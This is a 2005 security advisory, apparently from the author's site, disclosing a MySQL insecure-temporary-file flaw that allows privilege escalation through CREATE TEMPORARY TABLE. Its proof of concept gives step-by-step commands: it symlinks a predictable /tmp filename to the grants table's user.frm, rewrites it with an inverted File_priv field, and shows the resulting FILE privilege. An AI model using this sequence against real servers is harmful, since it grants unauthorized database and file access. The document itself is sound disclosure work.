The WIse SECurity
| .italian .english |
News
|
Mysql insecure temporary file creation with CREATE TEMPORARY TABLE privilege escalation
Title:Mysql insecure temporary file creation with CREATE TEMPORARY TABLE privilege escalationAuthor:Stefano Di PaolaVulnerable:MySQL <= 4.0.23, 4.1.10Type of Vulnerability:Local insecure temporary file creationTested On :Mandrake 10.1 /Debian SargeVendor Status:Notified on March, 2nd 2005, Confirmed on 3rd March 2005, New versions released on 11th March 2005Resources:Published on VulnwatchDescriptionIf an authenticated user has CREATE TEMPORARY TABLE privileges on any existent database, a symlink attack is possible. The problem resides in the fact that MySql: 1. uses a predictable name when creates temporary files: mysql_priv.h: 251: #define tmp_file_prefix "#sql" /* Prefix for tmp tables */ sql_table.cc: 724: if (create_info->options & HA_LEX_CREATE_TMP_TABLE) 725: { -> 726: sprintf(path,"%s%s%lx_%lx_%x%s",mysql_tmpdir,tmp_file_prefix, -> 727: current_pid, thd->thread_id, thd->tmp_table++,reg_ext); -> 728: create_info->table_options|=HA_CREATE_DELAY_KEY_WRITE; 729: } 730: else 731: (void) sprintf(path,"%s/%s/%s% s",mysql_data_home,db,alias,reg_ext); if is a temporary table, a temporary filename is generated by using, /temp_dir/#sqlPID_THREADID_NumberIncrementedByOne.frm /temp_dir/#sqlPID_THREADID_NumberIncrementedByOne.MYI /temp_dir/#sqlPID_THREADID_NumberIncrementedByOne.MYD 2. usually (could be changed) it creates such temporary files in a temporary directory with sticky bit on (/tmp or /var/tmp), accessible by all users. Poc: User table will be our target, but the only thing we can change is the declaration table user.frm as the other files .MYI and .MYD are in a different format (it seems). Let's authenticate and use a DB on which we have CREATE TEMPORARY table access. $ mysql -u user -p test mysql> CREATE TEMPORARY TABLE tmp_table (tmp_field VARCHAR(1)); Query OK, 0 rows affected (0.05 sec) mysql> system ls /tmp/#sql* -l -rw-rw---- 1 mysql mysql 8564 gen 30 13:31 #sql1d05_4_0.frm -rw-rw---- 1 mysql mysql 0 gen 30 13:31 #sql1d05_4_0.MYD -rw-rw---- 1 mysql mysql 1024 gen 30 13:31 #sql1d05_4_0.MYI mysql>system ln -s /var/lib/mysql/mysql/user.frm /tmp/#sql1d05_4_1.frm mysql>system ls /tmp/#sql* -l -rw-rw---- 1 mysql mysql 8564 gen 30 13:31 #sql1d05_4_0.frm -rw-rw---- 1 mysql mysql 0 gen 30 13:31 #sql1d05_4_0.MYD -rw-rw---- 1 mysql mysql 1024 gen 30 13:31 #sql1d05_4_0.MYI lrwxrwxrwx 1 stefano stefano 29 gen 30 13:38 #sql1d05_4_1.frm -> /var/lib/mysql/mysql/user.frm mysql> Now we have a symlink on user.frm. Now we will create a tmp table with File_Priv ENUM FIELD privilege inverted. This will allow us to have privileges where we hadn't before. mysql> CREATE TEMPORARY TABLE user ( -> Host char(60) binary DEFAULT '' NOT NULL, -> User char(16) binary DEFAULT '' NOT NULL, -> Password char(16) binary DEFAULT '' NOT NULL, -> Select_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Insert_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Update_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Delete_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Create_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Drop_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Reload_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Shutdown_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Process_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> File_priv enum('Y','N') DEFAULT 'N' NOT NULL, /*<-- look here*/ -> Grant_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> References_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Index_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Alter_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Show_db_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Super_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Create_tmp_table_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Lock_tables_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Execute_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Repl_slave_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Repl_client_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> ssl_type enum('','ANY','X509', 'SPECIFIED') DEFAULT '' NOT NULL, -> ssl_cipher BLOB NOT NULL, -> x509_issuer BLOB NOT NULL, -> x509_subject BLOB NOT NULL, -> max_questions int(11) unsigned DEFAULT 0 NOT NULL, -> max_updates int(11) unsigned DEFAULT 0 NOT NULL, -> max_connections int(11) unsigned DEFAULT 0 NOT NULL, -> PRIMARY KEY Host (Host,User) -> ) type = MYISAM -> comment='Users and global privileges'; Query OK, 0 rows affected (0.15 sec) mysql> system ls /tmp/#sql* -l -rw-rw---- 1 mysql mysql 8564 gen 30 13:31 /tmp/#sql1d05_4_0.frm -rw-rw---- 1 mysql mysql 0 gen 30 13:31 /tmp/#sql1d05_4_0.MYD -rw-rw---- 1 mysql mysql 1024 gen 30 13:31 /tmp/#sql1d05_4_0.MYI lrwxrwxrwx 1 stefano stefano 29 gen 30 13:38 /tmp/#sql1d05_4_1.frm -> /var/lib/mysql/mysql/user.frm -rw-rw---- 1 mysql mysql 0 gen 30 13:42 /tmp/#sql1d05_4_1.MYD -rw-rw---- 1 mysql mysql 1024 gen 30 13:42 /tmp/#sql1d05_4_1.MYI mysql> select * from tmp_table into outfile '/tmp/dd'; ERROR 1045: Access denied for user: 'user@localhost' (Using password: YES) mysql> quit Bye Now we should force or wait MySql to restart in order to give it the chance to re-read user table. #/etc/init.d/mysql restart $mysql -u user -p test Enter password: mysql> CREATE TEMPORARY TABLE tmp_table (tmp_field VARCHAR(1)); Query OK, 0 rows affected (0.00 sec) mysql> select * from tmp_table into outfile '/tmp/123'; Query OK, 0 rows affected (0.00 sec) mysql> system ls /tmp/123 -l -rw-rw-rw- 1 mysql mysql 0 gen 30 13:54 /tmp/123 mysql> quit Bye We got it. Florence, 11th March 2005
Wisec is brought to you by...Wisec is written and mantained by Stefano Di Paola. Wisec uses open standards, including XHTML, CSS2, and XML-RPC. |
All Rights Reserved 2004
All hosted messages and metadata are owned by their respective authors.